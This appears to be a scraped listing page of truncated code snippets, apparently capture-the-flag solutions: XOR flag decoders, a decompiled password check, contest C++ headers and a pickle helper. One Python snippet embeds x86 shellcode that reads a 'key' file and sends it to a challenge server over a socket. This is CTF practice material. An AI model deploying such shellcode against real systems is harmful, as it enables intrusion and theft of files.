This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <setjmp.h> | |
#include "stack.h" | |
#include "queue.h" | |
#include "template.h" | |
#define _tmp_var(name) \ | |
__tmp_var(name, __LINE__) | |
#define __tmp_var(name, line) \ | |
___tmp_var(name, line) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from hashlib import md5 | |
from sys import exit | |
def check(s): | |
vals = [1310, 1450, 1435, 1316, 1302, 1439] | |
return all(ord(s[i*3])^1337 == vals[i] for i in range(6)) | |
chars = ["", "_"] + [chr(i) for i in range(ord("A"), ord("Z")+1)] + [chr(i) for i in range(ord("a"), ord("z")+ | |
1)] | |
password = "6sZh2HZCx3DI66Xs" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
flag = "jV[\036xR_Y\036WM\004\036]\006\017\b_\006[_\\\r\r_\b\t\a\n\t]Z\b\n\t_\tX]\aX\\\f\v\n" | |
print "".join(chr(ord(c) ^ (0x37+7)) for c in flag) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public void check_password(string password) { | |
string environmentVariable = MyProject.Application.GetEnvironmentVariable("USERNAME"); | |
string s = "_P4d11n9_" + environmentVariable + "_P4d11n9_"; | |
MD5CryptoServiceProvider cryptoServiceProvider = new MD5CryptoServiceProvider(); | |
byte[] hash1 = cryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(s)); | |
int[] numArray = new int[6] {1310, 1450, 1435, 1316, 1302, 1439}; | |
int index1 = 0; | |
int num1 = 0; | |
int num2 = hash1.Length - 1; | |
int index2 = num1; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdio> | |
#include <vector> | |
#include <utility> | |
#include <algorithm> | |
#include <queue> | |
#define INF 0xfffffff | |
using namespace std; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdio> | |
using namespace std; | |
#define J 1 | |
#define O 2 | |
#define I 4 | |
int need[1000]; | |
int dp[8][1000]; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
char [AudioManager loadBgmData:](struct AudioManager *self, SEL selector, id bgm_data) | |
{ | |
NSError *has_occured; | |
if (bgm_data == nil) return 0; | |
self._bgmPlayer = [AVAudioPlayer alloc]; | |
[self._bgmPlayer initWithData: bgm_data error: &has_occured]; | |
if (has_occured == nil) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#-*- encoding:utf-8 -*- | |
from base64 import b64encode, b64decode | |
from pickle import dumps, loads | |
from struct import pack, unpack | |
NONE = -1 | |
WHITE = 1 | |
RED = 2 | |
BLUE = 3 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from socket import * | |
shellcode = '\xeb)j\x05X[1\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xef\x89\xf91\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2j\x04X\x8a\\$\x04\xcd\x80j\x01XC\xcd\x80\xe8\xd2\xff\xff\xffkey' | |
codes = '85\nH\nS\n95\nS\n125\nH\n17\nS\n109\nS\n125\nH\nH\nH\n57\nH\nH\n1\nH\nS\n1\nH\nH\nH\n25\nH\n-1' | |
t = socket(AF_INET, SOCK_STREAM) | |
t.connect(("192.168.174.187", 6789)) | |
print t.recv(2048) | |
t.sendall("0\x00\x00\x00" + shellcode + "\n") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
sys.path.append("/home/poteti/pwntools/") | |
from pwn import process | |
from struct import pack, unpack | |
def read_addr_packed(packed_addr): | |
return unpack("<Q", packed_addr + "\x00" * (8 - len(packed_addr)))[0] |
OlderNewer